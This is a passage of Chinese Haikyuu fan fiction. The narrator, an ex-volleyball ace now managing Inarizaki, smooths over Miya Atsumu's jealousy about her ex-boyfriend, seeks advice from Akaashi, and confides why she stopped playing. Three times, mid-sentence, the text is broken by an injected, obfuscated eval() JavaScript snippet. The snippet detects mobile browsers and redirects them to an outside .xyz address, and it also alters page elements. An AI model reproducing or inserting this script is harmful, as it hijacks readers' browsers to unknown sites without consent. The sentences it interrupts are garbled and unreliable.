iwawawa:为什么啊,真的不打排球了吗? iwawawa:对了,记得带上字据 iwawawa:?为什么不看消息 iwawawa:看消息!!!! iwawawa:快点看我消息—— iwawawa:小满我不会放过你的!!! 一开始还在模仿小岩口吻,虽然其实在第二句就能看出来完全是及川彻式的感叹号,后面完全不装了啊。 我叹了口气,开始一边下楼一边一条一条地回复他有价值的消息内容。 :太远了不回去了 :要来的话欢迎呀 :好吃的我只记得校外有一家便利店的饭团好吃,其他的我等会问一下朋友 :是的,在做经理 :社交礼仪说“对了”之后才是正题呢^^铺垫得好久哦 :会带上的放心好了 :昨晚手机没电了,才充完电开机 :没有故意不看消息 :我也不会放过你的笨蛋及川彻,哼哼 我放下手机,才注意到身边的宫治他们。 宫治:“在和谁聊天,很少看到你笑得那么开心。” 我摸了摸自己的脸:“有那么明显吗?” “有。你笑得我都有点恶心了。”旁边的宫侑没好气地哼哼。 “阿侑,不会说话可以不说的。你再说下去我又要揍你了。”我冲他亮了亮拳头,虽然还是很不服气,但是好歹不再继续给我添堵了。 “嗯……”我看到还没完全升到正当空的、无比柔和的太阳,心脏却像是即将要沸腾的开水一样滚烫,“是前男友啦。” “什么!???你居然有前男友!???” 我看向又一次咋咋呼呼脸色大变的宫侑,挑衅地冲他眨了下眼:“而且马上要复合了呢!” 他一把推开宫治,气急败坏的:“不行!我不允许!” 我觉得非常莫名其妙:“……你是我爸爸吗阿侑。 “不对,我爸爸都不敢这么对我说话。” 15. 没问题啊一星期布丁换一条消息 ——无法理解少男心思应该不是我的错吧 ——但是影响到比赛那就完全是你的错了! “今天的动作幅度好大哦阿侑。”这种感觉上的差异我很难用文字进行描述,于是转头看向黑须监督,他皱着眉,明显正在思考,我不好打扰他,于是将求助的目光投向今天还没上场的北。 “怎么了?” “感觉他今天打得,很用力?”我斟酌着用词,和枭谷的这场比赛,非常精彩的拉打对攻,场面上无疑非常精彩。在北没有上场的情况下,还能保持如此稳定的接球,也是这次集训不小的收获,至于双胞胎时不时的“灵光一闪”,其实就是发癫,次数甚至还少于前几场。 非常认真、非常投入,但是也非常规矩。 “嗯,他今天打得太合理了。”对于富有想象力的宫侑而言,反而在ooc呀。 北若有所思地点了点头:“有发生什么吗?” 我摇摇头,准备等下场的时候问问宫治。虽然这两人之间总是互相闹别扭,但毕竟是同胞兄弟,怎么看也应该比我了解的多。也是这个时候我才意识到,稻荷崎在某种意义上,其实是很依赖于阿侑,也很依赖于他的创造力。 在面对枭谷这种同样直接暴力的攻击型队伍,面对全国前五主攻手同样富有想象力的扣球,拿不出新东西就只能受制于人。 稻荷崎的TIFO确实很符合这个队伍,“无需追忆昨日”,稻荷崎不需要一成不变的东西,固步自封这个词和这支队伍完全绝缘。 好期待啊,他们在IH上的表现。 尖锐的哨声响起,枭谷和稻荷崎的比赛,最后以木兔经典的直线扣球得分宣告结束,赢了比赛就会开心的木兔选手又化身成为闪亮亮的大太阳在肆意发散着自己的热情,但看上去被随机抓住庆祝的队友已经陷入了窒息危机——虽然但是,跑得好快啊赤苇酱,看起来对于逃避这种强迫性庆祝这件事完全熟练了,好厉害。 我又看向要去鱼跃一圈的稻荷崎,没上场比赛的同样要接受惩罚,依然被我习惯性称为卡密sama的信介这个时候会脱下他的外套,我一边接过搭在胳膊上,一边非常担心诡异地陷入了沉默的双子。 宫治的状态……我在脑子里回想了一下,很稳定啊,宫侑反而因为打得太认真显得束手束脚,没有昨天那么活跃。主力选手状态低迷可是非常要命的大事,这一点我实在太深有同感。 我试图向黑须监督寻求意见,他看上去精神状态比包括北在内的稻荷崎全员都要稳定,不愧是见过大风大浪可以和伊琳娜做朋友的成年人。 然而他脸上露出了非常神秘的微笑,那种“放心吧一切尽在我掌握之中你无须担心”的表情,我在伊琳娜脸上看到过无数次。 ——死去的记忆又开始攻击我。 “我时常怀疑像您这样的教练是不是有自己的消息渠道。” 黑须监督:“为什么会这样想。” “因为我觉得阿侑这样非常让人担心,虽然他比赛场上总是跳脱又自由,不仅会吓对面一跳,奇思妙想也会让队友措手不及。但是……”我们都知道,在社交礼仪中,转折之后的内容就像你礼节性聊天之后僵硬的“对了balabala”,转折之后的内容才是重要的,“稻荷崎很需要他的不稳定,稻荷崎因为他的不稳定而稳定。” 很奇怪吧,一个队伍居然是依靠不稳定性才得以稳定地进步。 但是稻荷崎就是这样一直我宁愿犯错,也不愿意什么都不做的队伍。 成熟的黑须监督并没有直接回答我的问题:“信子推荐你做她的接班人,确实非常合适,你即便没有打排球,也一直保持着对于这项运动超乎常人的敏锐性。不做选手的话,你也很适合做教练。” 虽然被监督大人认可了能力我是很开心,我也想问为什么不是分析师而是更衣室里权力更大的教练,我对于处理人际关系真的超……苦手,但这些疑问都和我一开始的疑惑完全无关,我在意的还是:“所以监督为什么不担心阿侑呢?” 黑须监督微微一笑:“把你刚刚向我描述阿侑的话对他重复一遍,他会很高兴的。” ……什么意思啊…… “我真的很讨厌谜语人。”我再一次气呼呼地抱怨。 之前打比赛、现在看比赛就已经耗费很多脑容量了,为什么大家交流的时候不可以直来直去呢?喜欢就说喜欢,讨厌就说讨厌,委屈焦虑不开心直接说出来消解不好吗,为什么偏偏要别人猜。 我才不猜。毒舌傲娇派早就退环境了,就算是我这种图鉴党在gal里遇到这种人设也是会选择直接skip快进只为了收集成就的。 不过……“真的有用吗?”赤苇酱也说过,夸夸木兔选手他就会很高兴,虽然木兔选手更直接一点,是我很喜欢的直球型选手,喜欢就会说喜欢,不开心也会说原因——我和雪绘酱她们宿舍夜话的时候聊过这个,反而得到了“你确实应该会和木兔成为好朋友”这样的评价。 感觉被骂了,但是不确定。 虽然阿侑比木兔选手的脑回路要更难捕捉一点,但是,喜欢打排球的哪有坏人呀!如果监督大人不是在开玩笑的话…… “相信我,我有特殊的消息渠道。”黑须监督以我之前开玩笑问他的问题答案支持了我的想法。虽然监督大人配合我玩梗的行为有点抽象,不过好吧……我试试看。 结束了惩罚正在场边休息的宫侑低着头在喝水,表情倒是看不出什么——不如说看不出什么表情才是最可怕的!以前这种时候他要么就特别生气,要么就已经开始搞事,总之不会是现在这样很平静的表情。不要呀阿侑,不要背着我偷偷变成也会讲谜语的大人呀! 我今天偷懒没有穿排球鞋,跑得太快甚至在他面前滑了一段,差点就要向后仰倒,身边没有任何支撑的东西,就算是有着伦太郎那样可怕的核心力量也很难不摔倒。 我内心尖叫着吾命休矣,绷紧了手臂害怕撑地时候又双叒叕受伤,但是腰被某人的手臂撑住了。 “都说了排球馆就得换排球鞋啊笨蛋!” 撑着我没让我摔倒的那个人几乎也是一个箭步冲了上来,凶巴巴的,然而完全是色厉内荏,脸上的后怕挡都挡不住。 …… “喂喂喂你不要哭啊我没欺负你吧!” 呜呜……我狼狈地拿袖口挡住了已经撇下来的嘴巴,我努力憋住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431054|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是看对方越来越慌乱、已经手忙脚乱、急得面红耳赤的样子,好像并不成功。 但也不是我不想说话解释,我有种感觉,松开手的下一秒,我就会完全忍不住地大哭出声——那样也太丢脸了! 本来在排球馆里险些滑倒已经非常丢脸了,这么多人在,我要是哭得停不下来,未来一个月我晚上睡不着都会想到这一幕的。所以不要,绝对绝对不要。 “是哪里扭到了吗?腰,还是腿?你不要一直不说话啊很吓人的,你到底哪里疼啊……” 能不能闭嘴啊我说!你越说我就越想哭啊笨蛋阿侑! 我自己都听见一丝丝憋不住的嘤嘤声在从喉咙的空隙里飘出去,眼泪也在一点一点冒出来,我干脆低头把自己缩起来,让队服的袖口贴住眼睛。 笨蛋阿侑还在叽叽喳喳地和队友们解释他没有欺负我,是我突然要哭了,十分之笃定我一定是哪里受伤了疼得说不了话他要给我找队医来看看——发散太多了吧笨蛋! “……笨、蛋!”我凭着记忆往前一抓,还好抓住了他的胳膊,“你……吓死我了。” “你才是吓到我了好吧!”宫侑松了口气的叹息声简直就像我被魔鬼集训拷打之后发现自己居然还活着一样沉重,我用力吸了下鼻子,松开抓他的那只手,非常用力地一巴掌拍到他背上。 很好,这下是阿侑大叫出声并且在大家面前丢人了。 “所以你今天为什么那么奇怪。”我缓了缓,心脏现在才像是被慢慢塞回了胸腔里。 “下一场比赛要开始了,我们继续上吧!” “不要当做听不到。”这种拙劣的顾左右而言他,阿侑自己是傻子也把我当做傻子吗? “这次绝对不会受惩罚了!” “都说了这种逃跑不仅可耻而且完全没用。” “let''s go!” ……突然变成了没有沟通功能的人工智障。好吧,习惯了。 我看向明显知道什么就等我问他的宫治:“三个布丁。” 掌握了消息源也掌握了主动权的宫治颇有一种翻身做主人的傲娇感——不是都说了傲娇已经退环境了吗?冲我比出一个“1”的姿势。 “只要一个?” “不是。一个星期。” 虽然说一个星期的布丁,哪怕是贵贵的那种对我来说也不算什么,“你不是和阿侑打配合故意演出来给我看的吧。”,阿侑看上去不像是能演得这么传神的人,不过阿治比他聪明点,指导一下的话也说不定。 “非常可靠的一手消息源。”阿治眯着眼睛笑的时候也很像狐狸——但是更像被算计了怎么回事! 我犹豫了两秒钟,第三秒的时候:“OK,请告诉我。” 宫治靠了过来,叽里咕噜的气音将情报传递给我。 ……诶??? 我震惊地看着他,他坚定地点了点头。 我陷入沉思。 但好像因为是宫侑,所以有一点合理。不过热爱打排球的都是这样的吗?我不是很懂。 我把目光投向不远处轮空正在休息的赤苇酱。 赤苇酱,I need your help! 16. 没问题啊小红is my friend 在我并不算短暂,但也难称漫长的排球生涯里,无论是男排女排我都认识过很多选手,风格迥异的二传手我也见过不少——稳扎稳打的有,跳脱激进的也不少,除去一直认为自己不属此列的及川彻,我见过的可以称之为天才二传的选手也能说得上几个。 但凡某一方面的天才,在其他方面有一些缺陷也在接受范围之内,伊琳娜原话是这样说的:她都能在场上得分了,她都能在场上可以让你们信赖了,还要什么呢? 虽然这话说的似乎是我,但也可以作为模板套一套,故而一直以来我对宫侑让人难以理解的脑回路和时不时的神经病都抱有极大的宽容——拜托他在场上都那么发挥了,你还对他要求更多,没必要呀。 但无论我怎么宽容,都不是他集训三天生了两次莫名其妙的气的理由。 我的脑袋是无法思考这么复杂的问题的,阿治给我的理由又太离谱,我必须要寻求可靠第三方确认一下。 “你又是来问我什么奇怪的问题的吗?” 不愧是可靠的赤苇酱,完全预判了呀。我笑嘻嘻地坐到他旁边,捏着手指给他比划:“一个很小、很小的问题。” “一定还是非常奇怪。” 我:…… 赤苇叹了口气,好像终于被本人不屈不挠的认真打动,点了下头:“说吧。” 我很少做这种像在背后蛐蛐人的行为,一边背着人不想被发现一边还要注意控制音量,极具偷感非我所愿啊! “一个假设,如果木兔选手谈恋爱的话……” 赤苇酱你怎么僵住了。我话还没说完,就对上赤苇震惊的目光,他整个人侧对着我,一动不动,好像一具雕像。我都说了只是一个假设,不至于如此吧,木兔选手有恋爱关系就这么让人震撼吗?我倒觉得木兔选手人很好,很有人味,像机器的那种我见过,那才是恋爱绝缘体。 “木兔前辈……”赤苇酱终于缓过神来,喘了口气,“老实说,我很难想象。” “所以说是以他谈恋爱为大前提!不管有多难想象请都好好想象!” 赤苇不知道为什么像是有点心虚,转头拧瓶盖喝水拧瓶盖,这都是我心虚的时候最经常做的小动作:“为什么总是以木兔前辈举例。” “因为赤苇酱是木兔选手的二传吧,木兔选手是赤苇酱的主攻手,等量代换一下是最靠近我和阿侑的类型。”我说完这句话,赤苇酱很明显松了口气。 “但你和木兔前辈差了很多。” 差很多吗?“我也很阳光开朗积极向上啊。” 赤苇凉凉地看了我一眼,认为我对自己的认知一定有相当的偏差。 赤苇对你的印象,和你的自我认知,不说一模一样只能说毫不相干。阳光开朗积极向上,他眼里你几乎没有一个字能压得上。 集训第一天,扣出了非常不得了的球来,脸上还是阴沉沉的,没有一点表情,比起“这种球只是正常操作”,更像是“哦,下一个”。 非常天才的独断和傲慢。 后来被宫侑拉去打娱乐赛也是,完全不像是乐意的表情,打起来却很起劲,闷声扣球的样子让他想起白鸟泽的牛岛,面无表情却能扣出能把地板砸穿的力度。 第一天的加训到最后也没能见到你笑一下,这并不代表赤苇是个喜欢看美少女笑的变态,完全是你场上热烈的发挥和面无表情的冷脸对比起来,天差地别的冲突感。如果不是你最后下场和宫侑击掌时笑得前仰后合,他还以为你是完全没表情呢。不过说起来那和场上的冷脸杀神真的是同一个人吗? 简直就像上了场就会切换人格的设定。 更别提表情完全冰山的第二天。 但你和他说,你觉得自己就像木兔前辈一样,阳光开朗积极向上。开什么玩笑。有一种人,确实是看上去很难接近,认识了才发现很好相处,他也完全不介意和你做朋友,但是这并不代表他要睁着眼睛说瞎话。 “你自己没意识到自己不笑的时候很可怕吗?”他决心戳破你对自己的美好幻想。 ……? 我下意识地摸了摸自己的脸:“有吗?”得到的是赤苇肯定的点头。 “现在也很可怕吗?”又是点头。 “……诶——?”我大惊失色,“所以第一天娱乐赛换二传的时候,你那种表情,也是因为觉得我很可怕吗?” 居然又点头了。 “小红……”我要哭了,“你不是故意骗我的吧。” “我真的很好奇是谁有和你说过,你看上去很……”赤苇眉头皱紧,似乎说出下面的这句话让他十分难以启齿,“友善。” 晴天霹雳! “很多人。”我还沉浸在自己人设大大大崩塌的悲痛之中,“妈妈、幼驯染、还有前男友,她们都说我很可爱,像小花。” “可爱和友善……”赤苇叹了口气,“所以你刚刚要问我什么问题?” “不想问了……我好难过……”那我从北川第一开始到青城再到现在自以为的友善开朗算什么,算我笨蛋吗? 哦,怪不得第一天研磨会被我吓得炸毛,原来不是他社恐……是我太吓人了……呜呜…… 无地自容。如果现在排球馆里有一个坑,我会立刻跳进去并且自己把自己埋起来。 “你现在倒是和木兔前辈很像。” “!真的吗!?”我又复活了。 赤苇:“在一旦低迷就会想把自己藏起来不管到底有多明显这件事上。” 。好吧我又死掉了。 “但是我会觉得,如果只是因为你无法选择的外表就远离你的人,你是没必要因为这个伤心的。你的受欢迎和让人敬而远之的外表无关。”他抬下巴的角度让我看向同样的方向,正在喝水的角名伦太郎和我对视,两三秒之后,他举起手机咔擦一张,然后对我比了个ok的手势。 ? 我们刚刚应该没有通过脑电波进行交流吧角名君。我疑惑地歪了下头,他也疑惑地歪了一下,然后,又举起手机,又咔擦一张,再一次:ok。 不是哥们……到底哪里来的自信让你觉得你有在读懂我? 虽然你长得不算普通,但你实在自信。 不想和笨蛋交流的我选择移开视线,OK,正好看到了还在生气状态的笨蛋二号,他单手叉腰一脸老子天下最牛的表情,看了就辣眼睛。 赤苇明显看到了我们的互动,我觉得他在嘲笑我:“你看。” “我不看,我感觉我们稻荷崎没有正常人,太可怕了。” “那么请进入正题,心理辅导是另外的价钱。” “好吧好吧。”刚刚发现就算我是冷面杀神但是在稻荷崎也有比我更突出的神经病于是心安理得地摆烂的我终于想起来找他的原因,“就是想问,你会觉得木兔前辈谈恋爱会影响他的比赛发挥吗?” “绝无可能。” ……好斩钉截铁的回答。我沉默了两三秒,然后尝试着:“如果是我……” “咳!”一直冷静平和的赤苇突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431055|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然发出了惊天动地的咳嗽声,我手忙脚乱给他拍拍:“没事吧,是呛到了吗?” 好一会之后他才缓了下来:“你说什么?” “我说如果是我谈恋爱,”我突然反应过来,“你以为是我要和木兔选手谈恋爱!?” “没有。”赤苇酱的目光,又双叒叕移开了。 我十分肯定:“心虚了。” 他十分果断:“并没有。” “小红,你这样我很伤心,我连那只笨蛋狐狸的心都读不了你也不要为难我去养猫头鹰好吗?” 赤苇的目光又转了回来,好像那什么摄像头:“不,不是你的问题。” 不过他这么一说,我确实觉得木兔选手应该是很好的男友对象。 “你应该没有在想玩弄感情的事吧。” !我被吓了一跳。虽然我并无此心,但是被猜中刚刚想的事情还是很惊悚:“你不会才是有读心术的那个吧。” “少看轻小说。” “说了和伦太郎一样的话呢……”我尴尬地笑了笑,“你们两个应该可以做朋友,需要我为你们牵线搭桥吗?” “不,并不需要,请说。” “就是,阿侑觉得如果我谈恋爱,就没办法认真地做经理了。所以他很生气。我要怎么说服他呢?” 赤苇沉默了两三秒,我殷切期待着他的回答。 “他是缺爱的三岁小孩吗?” 我不明白赤苇的意思,但还是乖乖回答了:“并不,我觉得阿侑应该是被爱着长大的人哦,所以才会肆无忌惮地发脾气呢。因为只有完全被爱着的小孩,才会有不长大不成熟的权利。” “那么你是他妈妈吗?” “当然不是。但他是我来稻荷崎之后认识的朋友,我也很珍惜,但是他一生气就很难讲通道理诶,所以有点苦恼。” “这样你应该去找你们队长,你们队长看起来很有办法。” 我摇了摇头:“因为我个人的私事产生的影响,我还是更希望自己去解决,我好歹算是稻荷崎的经理来着。” “反正你现在没有恋爱……吧。”赤苇愣住了,“所以是既定事实吗?” “哎呀,被你发现了。是和美好的初恋选手复合了哦。” “……所以你完全是来炫耀的吧!” “其实也是想知道都是二传小红会有什么样的反应捏,阿侑给我感觉像是他的玩具被抢走了,所以有在考虑要不要告诉他那个人其实也是排球选手而且也是很厉害的二传,这样他就不会担心了吧。” 赤苇的手按在我的胳膊上:“最好不要。” “为什么?” “非常好的出发点,但是,千万不要出发,我的忠告。以及,可以拜托你一件事吗?”赤苇的表情实在太过严肃,搞得我也紧张了起来,下意识地用了敬语:“您、您请说。” “千万不要把这件事告诉木兔前辈,如果要在line上分享相关的内容,请一定记得屏蔽木兔前辈。” “呃,好的,但是为什么呢?”我不是很能理解,“难道木兔选手……” “是的,他也和宫侑选手有一样的担心,所以,拜托了。” 我突然感觉肩上负担了非常之沉重的责任和使命,在赤苇酱认真的目光下,我也非常认真地给予了承诺:“好的!完全没问题!” “非常感谢。”赤苇收回了手,开始给我提供解决办法,“关于已经得知此事的宫侑选手,我的建议是……请直接用排球一决胜负吧。” 17. 没问题啊我要告诉你我的秘密 第三天的娱乐赛结束,我和宫侑两个人居然是唯二累得脱力的可怜虫,精力旺盛的木兔酱还在抱怨没打尽兴,说着为什么突然间变成一点都不拦网只是互相扣球的对局了。 “可恶哇我也想像侑侑她们那样扣到没力气直接躺在球场上啊!” “那也太困难了木兔前辈。” 虽然我累到只能喘气,下一秒就要睡着,听到小红的吐槽还是强行抬起手臂比出一个大拇指:“说得太对了小红……” 木兔选手也是怪物体力呢,好崩溃啊好崩溃,难道体力差差菜菜的只有我,哦还有研磨酱吗?哪怕是我训练一年,还被拉去魔鬼训练营,也完全比不上天赋型选手。 真是让人痛恨的天才。 “唯独你没有理由这么说。”已经从地上爬起来的宫侑咂了下嘴,握着我的胳膊要把我拎起来,我没反应过来,但隐隐约约感觉还是被背刺了。 原来真正脱力的只有我,我才是最后的小丑^^ “阿侑也是。”我感觉我自己像个棉花糖、又或者是橡胶人,被宫侑拎起来抖抖想要塑形,但是失败了,因为我只是一只无骨橡胶人,真是抱歉。 “再不起来食堂真的要关门了,我好饿。” 我笑都懒得笑一下,虽然被小红说过我不笑的时候很可怕,但人很累的时候是很难做表情管理的,我又不是爱豆,相反,如果我的冷脸能吓退突然爆发队友情的宫侑,我很乐意:“那你自己去吃,我不饿。” “运动之后不补充能量你是想死掉吗?”在宫侑的努力下,我已经被他拎着从地板上坐了起来,但是再进一步是不可能了,甚至我现在能保持这个动作完全是因为妄图钻空子就地躺倒的想法被此人看穿,现在正被他用腿完全挡住。 “哪有那么夸张……我只是想睡觉……”我抬头看着他,拉长了声音,“放过我吧阿侑,人就算在这里睡一晚上也不会死掉的,而且我又不怕鬼。” “说出了非常研磨的发言呢满枝。”讨人厌的谜语人黑尾君从我面前路过,晃了下手机,“但是没关系哦,善良的鄙人已经给你们队长发了消息,很快就会有人滴嘟滴嘟开着小车来救你们啦。” 滴嘟滴嘟……什么救护车吗。 我:“那还真是感谢啊黑尾大人。”一句感谢,附送一个中指。 黑尾:比心.jpg 我要吐了。 三天集训,累垮我两次,这合理吗这根本不合理啊,我不是稻荷崎的经理吗?我不是已经发誓引退排球界了吗?再这样下去又要流传起我的传说了啊啊啊。 然后我的脑袋被狗胆包天的宫侑打了一下:“你到底有没有在听我说话啊!音驹的人发了消息,队长肯定会来的!快点起来去吃饭啊!” 我就这么盯着他,然后又看了看他刚刚的作案工具:“故意的吧。” 刚刚那巴掌打得那么重,绝对绝对是故意公报私仇的吧。我眯着眼睛注视着他的表情变化:脸色不自然,眼睛睁大,目光乱飘——这俩兄弟撒谎心虚怎么都一个样子。 “所以你自己走吧我可以不计较你刚刚的冒犯就让我一个人在这里自生自灭直到明天早上被窗户漏出来的光叫醒吧。”我说完长难句之后就地躺下,双手交叉搭在自己的小腹上,整个人都非常安详。 “只是让你站起来走回宿舍,倒也不必这样死掉吧!”依然不愿意放过我的宫侑大力摇晃着我的肩膀,哪怕我什么都没吃都要被他晃得呕吐,本来就咯吱咯吱的骨头更是即将散架,到底为什么突如其来就要搞队友情了啊! 阿侑永远这么莫名其妙,莫名其妙生气,莫名其妙和好,又莫名其妙生气,好不容易用排球证明就算我谈恋爱也绝对不会分心,现在又被他莫名其妙不抛弃不放弃要带我一起走。 干什么,在演什么生离死别的情景剧吗?我只想做存在感很低的NPC,做主演的时候总是红名,太累了。 力3的DK拉不动65kg的美少女战士。 于是这人选择放弃直接坐到了我身边:“那我在这里和你一起等队长来好了。” “你不怕他骂你吗?” “拜托,我不带着你一起走才更会被北用那种眼神看着吧!” “什么眼神?” “就是那种好像什么都没说但是又好像什么都说了,被那种眼神注视着不管他接下来说什么我都会觉得是我错了并且他说什么我都会听的,眼神。” “用词重复了哦阿侑,国文课不会又要挂科了吧。” “不要在这个时候说那么吓人的话题!考试还很远呢!” “好吧好吧。”我闭着眼睛也能被宫侑气急败坏的回答逗乐,有时候会觉得宫侑脾气好差,有时候又觉得他实在非常可爱又非常好懂,小红的建议非常有用——一切无法解决的事情,如果对方是宫侑的话,打一场排球就好了。 因为宫侑真的非常非常喜欢排球,接到他托球的时候,顺着他的托球而扣出同样美丽的扣球的时候,他就会非常高兴,高兴到所有细枝末节的不愉快都会像细菌一样,被这份热烈的光芒直接杀死。 真好啊,我叹了口气。 突然一切都变得很安静,我能听见我自己的叹气声,也能听见身边宫侑的呼吸,他坐的离我很近,更高的体温就在我裸露的皮肤旁,彰显着存在感。 就像宫侑。哪怕什么话都不说,也会是稻荷崎里闪亮而耀眼的那个。 排球馆的顶光其实并不能被薄薄一层皮肤遮挡,即便我闭着眼睛,光还是会透过眼皮落在我想要休息的眼睛里。去年的这个时候,我也像这样,被伊琳娜单独拎出来特训,累到在地板上躺倒,动都动不了。 一年过去,我转学离开了青城,伊琳娜也接手了国青队,开启她下一段的征服。我确实很好运,在有天赋的同时,非常好运地一年三冠,哪怕受伤了,春高决赛的对手还是被我们两次送过光头的井闼山女排队。 也非常幸运,两次手腕受伤,都没有严重损伤神经,医生说我现在偶尔的手抖是因为心理作用。太幸运了我。 “所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431056|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你为什么不打排球了呢?” 居然是宫侑在这样问我。 我睁眼,被顶光刺了一瞬,偏头看他,宫侑的表情在自然流出的眼泪下模糊不清,眨了眨眼,世界又在我眼前变得清晰——我看见宫侑难得的认真。 “我要是你的二传,我会气死的。”他嘟嘟囔囔的,一下子又变成幼稚小孩子,“但我可不是说让你要转学回青城的意思哦,虽然稻荷崎的女排不怎么样,但是,但是,总之你不许逃跑。” 说着说着自己都词穷了吗?我哑然失笑。要怎么说那个故事呢?栗子还以为是因为我左手的骨折非常严重,接连不断的受伤让我心力交瘁,所以才想远离排球。 小惠告诉我这件事的时候我大为震惊,很难想象我平时在她们心里都是什么样的形象——和北队传达的信子学姐对我的印象三连不分伯仲。 为什么所有人都觉得我脆弱、可怜、敏感呢?没有人比我更大心脏了耶。 “很复杂,”我想了想,这样说,“但是,我承认我还是很喜欢排球,所以会答应学姐,会做你们的经理,阿侑拉着我来和其他人打排球,我也没有生气。 “阿侑夸我的时候,我也是认真地高兴,我夸阿侑的二传做得好,也不是奉承,是真心。” 宫侑的脸在他休息了很久之后再一次慢慢变红,他结结巴巴,一点不在意我刚刚已经是社交礼仪中非常明显又圆滑的大话题转移术,一副就是要打破砂锅问到底的样子,在这个处处都是谜语人的世界,如果人人都能学习宫侑,世界该变成多么美好的人间啊! “所以为什么不继续打了。你的队友欺负你吗?” “她们都很爱我,我很幸运遇到她们。” “那是因为你手受伤?不对,你现在明明就很正常,今晚故意打到我身上的时候我还看了一眼,完全打青了!” 原来他知道我是故意的。我心虚地摸了摸鼻子。这种时候他的脾气又好得令人发指,堪比包子——所以宫侑果然本质是慕强吧。 “所以为什么?” “……因为,我不想做替代品?”真奇怪,我连及川彻都没有告诉过的秘密,除了知道我家庭情况的若利,从来没有任何人知道的秘密,居然就在这个平平无奇的夜晚,轻轻松松地告诉了完全是笨蛋的宫侑。 他知道了我的秘密,在我语焉不详的描述下。 但宫侑不会明白替代品到底是什么意思。十七岁青春男高中生,不会理解这个世界上还有代偿心理这么复杂的东西。 “谁这么没品,居然让你做替代品!” 我惊呆了,看着火冒三丈比我发现这个事实的时候还要更加生气、怒不可遏、脸都涨红的宫侑,看他用自己词汇库里最最恶毒的词汇辱骂他以为的那个没品的人。 我晃神了好一会,慢慢从地板上扶着坐起来:“诶,拉我一把。” 于是转圈圈烧烤的兰博降温变白了。 “你说得太对了,他完全是个没品的人,所以不用管他,我们去吃夜宵吧。” 18. 没问题啊这就是我们双子的羁绊! 真意外,来带我们回去的居然不是信介而是阿治。不过一时之间我也不知道是面无表情的信介可怕还是这个明显已经臭脸的阿治更胜一筹,但是应该和我无关……吧,我悄悄放慢脚步躲在了阿侑身后。 嗯,只要我不和阿治对视那么那些狂风暴雨都和我没有关系,嗯嗯。 真奇怪,阿治一直是情绪非常稳定、人又非常友善的类型,同为攻击选手我对他的初始好感不是一般的高,但是只有遇到阿侑,就会变成漏气的煤气罐,噼里啪啦,遇到一点火星就会爆炸。 我默默缩在阿侑身后,听着他们又开始旁若无人地叽里哇啦,大概等了一两分钟,我实在被吹得有点冷,而且确实有点饿,我选择鼓起勇气在阿侑身后踮起脚尖,露出自己的半张脸:“要不找个地方先吃点东西,然后边吃边吵吧。我们晚上吃什么呀。” 好耶!喷发的火山一下子就死掉了耶! “食堂已经关了。出了校门不远,旁边就有一家便利店,要去尝尝吗?”阿治完全绕开了阿侑,走到我面前,仗着身高摸了一把我的头发,“早点吃完早点回去洗漱。”他这么说着,我才注意到他手上还挂着一只帽子,现在它被戴在了我的头上。 “头发上还有汗,晚上吹风容易头痛。”他这样解释,并且见缝插针地回击了正在叫唤“我的呢我的呢”的阿侑,“没带,你可以现在回宿舍拿。” 我把帽子后方的绑带调到合适的位置,压了压,确认它不会被风一吹就飞走,感觉……阿治被信介附身了一样,非常可靠,非常诡异。 因为太可靠了所以让人觉得很诡异。 “晚饭阿侑请客。” “为什么!” “因为是你把她拉来打比赛的,连锁反应害得我很晚上了还要来接你们。” 好吧,刚刚觉得阿治像信介,果然是错觉。 不过…… “阿侑和阿治,感情好好哦。”我走在路上,踩着他俩来回摇晃的影子,只是随口感慨一句,结果招致两位异口同声的反驳。我很意外地看看左边,又看看右边,两个人脸上几乎是如出一辙的扭曲。 我哪里说的不对吗?“如果我有个同胞的姊妹,我肯定会特别开心。”但是我没有,但是我不要。 虽然那样我确实不会寂寞,也不会总是去打扰若利,虽然若利对我很好也没说过觉得我麻烦,但是……我不要。 像我这么麻烦又难搞的小孩,妈妈只有我一个就好了。 阿侑突然把我往他的方向拉了一下,我踉跄之中抬眼看到他,黑夜里的眼睛亮亮的,好像回应信徒的狐狸神明,他笑得好像很开心:“如果小满是我的妹妹我一定很开心。” 宫治没有接我的话,而是一脸在看白痴一样的表情看了一会阿侑,然后才慢条斯理地看向我说:“我不用,我不要小满做妹妹。” “阿治不喜欢我吗?”我大为震惊。 “不。”他伸手按了一下我的帽子,视线被帽檐挡住,我听见他又说了一句,“是说,你不是我妹妹我也喜欢你的意思。” ……我突然想到角名在大巴上说的那句话,有些人就算没有血缘关系也会对亲近的人很好。“是伦太郎对你说了什么吗?”我抬了一点点帽檐,很谨慎地试探,只要感到不妙立刻拉下我的保护罩,不和此人对视。 